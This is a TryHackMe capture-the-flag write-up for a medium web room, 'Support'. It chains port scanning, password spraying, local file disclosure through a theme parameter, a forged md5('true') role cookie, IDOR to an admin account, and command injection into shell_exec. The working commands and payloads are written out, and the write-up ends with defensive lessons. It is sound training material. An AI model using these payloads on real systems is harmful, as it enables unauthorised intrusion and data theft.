TryHackMe Web Access Control Medium

Support

A "Support Operations Panel" that supports everything except actually checking who you are. Password spraying for a foothold, a theme-switcher hiding a local file disclosure, a cookie that grants you the IT department by hashing the word "true", IDOR to an admin account, and a date command that does a lot more than tell the time.

PlatformTryHackMe
DifficultyMedium
CategoryWeb / Access Control
01

Network Reconnaissance

Standard opener — a SYN scan with service and default-script detection to map the attack surface before touching anything.

shell
sudo nmap -sS -sV -sC -F -T4 <TARGET_IP> # -sS stealth SYN -sV versions -sC default scripts -F fast (top 100)
22
SSH
OpenSSH 9.6p1 — creds parking lot
80
HTTP
Apache 2.4.58 — "Support Operations Panel"
Note from nmap: the PHPSESSID cookie ships without the HttpOnly flag. Not the vuln we end up using, but it's the kind of detail that tells you the devs were in a hurry. Two ports, a PHP app, and a login page titled like a corporate help desk. Everything interesting lives on port 80.
02

Port 80 — Web Enumeration

browserport 80 — landing page
Support Operations Panel login page — Employee Authentication form
The front door: "Employee Authentication." Note the helpful hint — "Contact IT Operations @ [email protected]." They just handed us a valid username. Thanks, IT.

The landing page is a login form for an internal "Support Operations Panel." Before throwing credentials at it, I mapped the directory structure with dirsearch and then confirmed with ffuf + a .php extension list.

shell
dirsearch -u http://<TARGET_IP> # interesting hits 302 /api.php -> index.php 200 /config.php # empty body... for now 302 /dashboard.php -> index.php 200 /footer.php 200 /info.php # 73KB — that's a phpinfo() smell 302 /user/0 /user/1 /user/2 /user/3 -> index.php
shell
ffuf -u http://<TARGET_IP>/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/big.txt -e .php
Map of the building: an api.php and a clutch of /user/N endpoints that all 302 back to login (no session yet), a dashboard.php behind auth, and a footer.php that renders standalone. Four numbered user endpoints is basically a neon sign reading "IDOR this way" — filed away for later.
03

Information Disclosure — info.php

A 73 KB response with no auth gate is almost always phpinfo(), and it was. Left in production it leaks the full PHP configuration, loaded modules, absolute paths, and environment — a free recon dump for the attacker and a "we forgot to delete this" badge for the defenders.

http
GET http://<TARGET_IP>/info.php # full phpinfo() — document root, modules, env vars, the works
Finding: info.php exposes phpinfo() to anyone with a browser. No credentials, no questions asked. It didn't carry the final blow on its own, but it confirmed absolute paths (handy later for the file read) and screamed "this app was deployed by someone who trusts the internet."
04

Probing the API

Naturally I poked api.php directly. Unauthenticated it just bounces you to index.php — every method, every payload, GET, POST, JSON, OPTIONS. The API has opinions about who it talks to.

shell
curl -i http://<TARGET_IP>/api.php HTTP/1.1 302 Found Location: index.php # "talk to the hand" # JSON, form data, OPTIONS — all the same 302. Need a session first.

Dead end without a session. Which means we need credentials. And the login page so kindly gave us a username...

05

Credential Brute Force — Helpdesk

With [email protected] handed to us on the login page, this becomes a single-user password spray. I used legba against the login POST, treating "no Invalid credentials string in the body" as the success condition.

shell
legba http \ -U '[email protected]' \ -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \ -T http://<TARGET_IP>/ \ --http-method POST \ --http-success '!contains(body, "Invalid credentials")' \ --http-payload 'email={USERNAME}&password={PASSWORD}' \ --single-match --concurrency 4 -Q [+] [email protected] password=$PASS # cracked in ~6 seconds — a top-10k password on a corporate panel. classic.
Foothold credentials: [email protected] / $PASS. A password that lives in the first ten thousand lines of every wordlist on earth, guarding a "support operations" platform. The help desk could not, in fact, help itself.
06

Foothold — Helpdesk Dashboard

browserauthenticated — helpdesk dashboard
Support Dashboard logged in as Helpdesk User with a theme selector
"Welcome, Helpdesk User." A ticket box and a Select Theme dropdown. That theme switcher is the most dangerous-looking innocent feature on the box — hold that thought.

Logged in, the dashboard is sparse: a ticket panel and a cosmetic theme selector in the footer. Re-probing api.php with our shiny session still slaps us down — this time with a different message:

http — burp
GET /api.php # now authenticated HTTP/1.1 200 OK Access denied # progress! 302 -> 200 + a real refusal
Read the room: the response changed from a redirect to a 200 with Access denied. We're authenticated but not authorized. Something server-side is checking a second condition beyond "are you logged in." We need to see the source to know what.
07

Local File Disclosure via the Theme Switcher

That harmless Select Theme feature drives a parameter: dashboard.php?skin=default. Anything that loads a file by name off a query parameter is a path-traversal candidate. Pointing it at a relative path with no extension shows the skin handler happily include-ing arbitrary local files — and because the loaded PHP doesn't execute in this context, its raw source bleeds into the page. Classic Local File Disclosure (LFD).

http
GET /dashboard.php?skin=../config # -> config.php source GET /dashboard.php?skin=../api # -> api.php source GET /dashboard.php?skin=../dashboard # -> dashboard.php source GET /dashboard.php?skin=../footer # -> footer.php source
Root cause: the skin parameter feeds straight into a file include with zero sanitization. The empty-bodied config.php from our earlier scan suddenly becomes very chatty when we read its source instead of executing it. We just got read access to the application's brain.
08

Source Code Loot

First file on the list — config.php. It coughed up a master password and app metadata:

php — config.php (via LFD)
<?php $MASTER_PASSWORD = '$PASS'; $SITE_VER = '1.0'; $SITE_NAME = 'support_portal';

Then the prize — api.php. Reading its source tells us exactly why we kept getting Access denied, and how the /user/N endpoints work:

php — api.php (via LFD)
session_start(); if (!isset($_SESSION['loggedin'])) { header('Location: index.php'); exit; } if (($_COOKIE['isITUser'] ?? md5('false')) !== md5('true')) { die('Access denied'); } include('/var/www/db.php'); $id = $_GET['id'] ?? $_SESSION['user_id']; $user = $users[$id] ?? null; if (preg_match('#^/user/#', $_SERVER['REQUEST_URI'])) { header('Content-Type: application/json'); unset($user['password']); echo json_encode($user, JSON_PRETTY_PRINT); exit; }
The whole game, in three lines: the "are you from IT?" check compares a cookie you fully control, isITUser, against md5('true'). That's a fixed, public, identical-for-everyone-on-earth value: b326b5062b2f0e69046810717534cb09. The lock comes with the key drawn on the door.
09

Broken Access Control — Becoming "IT"

Authorization that trusts a client-side cookie isn't authorization — it's a suggestion. The server decides whether you're in the IT department based purely on a value you mail it. To promote ourselves, we just set the cookie to the well-known hash of the string true.

shell
echo -n true | md5sum b326b5062b2f0e69046810717534cb09 # add it to the request and the API stops sulking Cookie: PHPSESSID=<sess>; isITUser=b326b5062b2f0e69046810717534cb09
Broken Access Control: the role gate is enforced client-side via a guessable cookie. Proper checks must read the role from server-side session state the user can't forge — not from a hash the user computes for themselves. We are now, officially, "IT."
10

IDOR — Enumerating Users to Admin

Remember those four /user/N endpoints from recon? With our IT cookie attached, they finally answer — and the id is a plain integer with no ownership check. Walk the IDs and the application happily reads out everyone's profile (minus the password field, which it politely unset()s).

http
GET /user/1 HTTP/1.1 Cookie: PHPSESSID=<sess>; isITUser=b326b5062b2f0e69046810717534cb09 HTTP/1.1 200 OK Content-Type: application/json { "email": "[email protected]", "2FA": false, "admin": true }
browserinternal user API — /user/1
Internal User API returning specialadmin@support.thm with admin true and 2FA false
The Internal User API spilling /user/1: [email protected], admin: true, and — crucially — 2FA: false. An admin account with no second factor is just a password away.
Two for one: IDOR hands us the admin's email and the fact that 2FA is disabled. The API strips the password, but it left the door wide enough to know exactly whom to target next.
11

Targeted Wordlist → Admin Brute Force

Reusing the master password from config.php against the admin login didn't work directly — but admins love variations of a known password. So instead of a generic list, I generated a target-specific one: seed John with the master password and apply rule-based mutations to spin up thousands of plausible variants.

shell
# pass.txt = the master password from config.php john --wordlist=pass.txt --stdout --rules:rockyou-30000 > rockyou-30000.txt # ~30k mutations of one password — leetspeak, suffixes, case flips, etc.
shell
legba http \ -U '[email protected]' \ -P rockyou-30000.txt \ -T http://<TARGET_IP>/ \ --http-method POST \ --http-success '!contains(body, "Invalid credentials")' \ --http-payload 'email={USERNAME}&password={PASSWORD}' \ --single-match --concurrency 4 -Q [+] [email protected] password=$PASS
Cracked: the admin password was a trivial mutation of the master password — same root, minus a special character. Reusing the "master" secret as your personal password is how one leaked config file becomes a full admin takeover.
12

Admin Access & First Flag

Logging in as [email protected] unlocks the admin view of the dashboard and the room's first flag. But the more interesting prize is what the admin role enables in the footer — so we go straight back to our LFD to read footer.php and see what admins get to do.

php — footer.php (via LFD)
$isAdmin = $_SESSION['admin']; if ($isAdmin && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['sys'])) { $sys = $_POST['sys']; if (strpos($sys, 'date') === 0) { $output = shell_exec($sys); # <-- hello, old friend } else { $error = 'Only date command is allowed.'; } }
The footer "show the time" feature pipes a POST parameter straight into shell_exec(). The only "validation" is that the string must start with date. That's not a sandbox — that's a velvet rope you step around with a single ;.
13

Command Injection → Flag

The filter only checks that input begins with date. It says nothing about what comes after. So we satisfy the prefix, then chain our own commands with ;. Intercepting the footer's POST in Burp and tweaking the sys parameter:

http — burp request
POST /dashboard.php HTTP/1.1 Cookie: PHPSESSID=<sess>; isITUser=b326b5062b2f0e69046810717534cb09 Content-Type: application/x-www-form-urlencoded # url-decoded payload: sys=date +"%H:%M:%S"; id; cat /home/ubuntu/user.txt
http — response
<pre class="mb-0">07:24:39 uid=33(www-data) gid=33(www-data) groups=33(www-data) THM{$FLAG}</pre>
Chain complete. Nmap → info.php disclosure → password spray (helpdesk) → LFD via skin → leaked source & master password → forged isITUser cookie → IDOR to admin → targeted brute force → admin shell_exec() command injection → code execution as www-data and the flag. The "date" command told us a lot more than the time. ✓
14

Key Takeaways

01
Never ship phpinfo() or debug pages. info.php handed an unauthenticated attacker the full server configuration and absolute paths. Delete diagnostic files before deploy.
02
One weak password = one foothold. A top-10k password on a single known username fell in seconds. Enforce strong passwords and rate-limit authentication.
03
Don't load files from user input. The skin parameter flowed into an include with no allowlist, exposing application source and secrets. Map themes to a fixed server-side allowlist — never to a raw path.
04
Authorization belongs on the server. Gating the IT role on isITUser == md5('true') — a value the client computes — is no gate at all. Read roles from trusted server-side session state.
05
Object references need ownership checks. /user/N let us enumerate every account, including the admin, by incrementing an integer. Always verify the requester is allowed to see the object.
06
Allowlist commands, don't prefix-match them. strpos($sys,'date')===0 let date; cat ... sail through into shell_exec(). Avoid shelling out entirely; if you must, use strict allowlists and argument arrays — never string concatenation.
07
Don't reuse the "master" secret. The admin password was a one-character mutation of the leaked master password. Unique, unrelated secrets keep one disclosure from cascading into total compromise.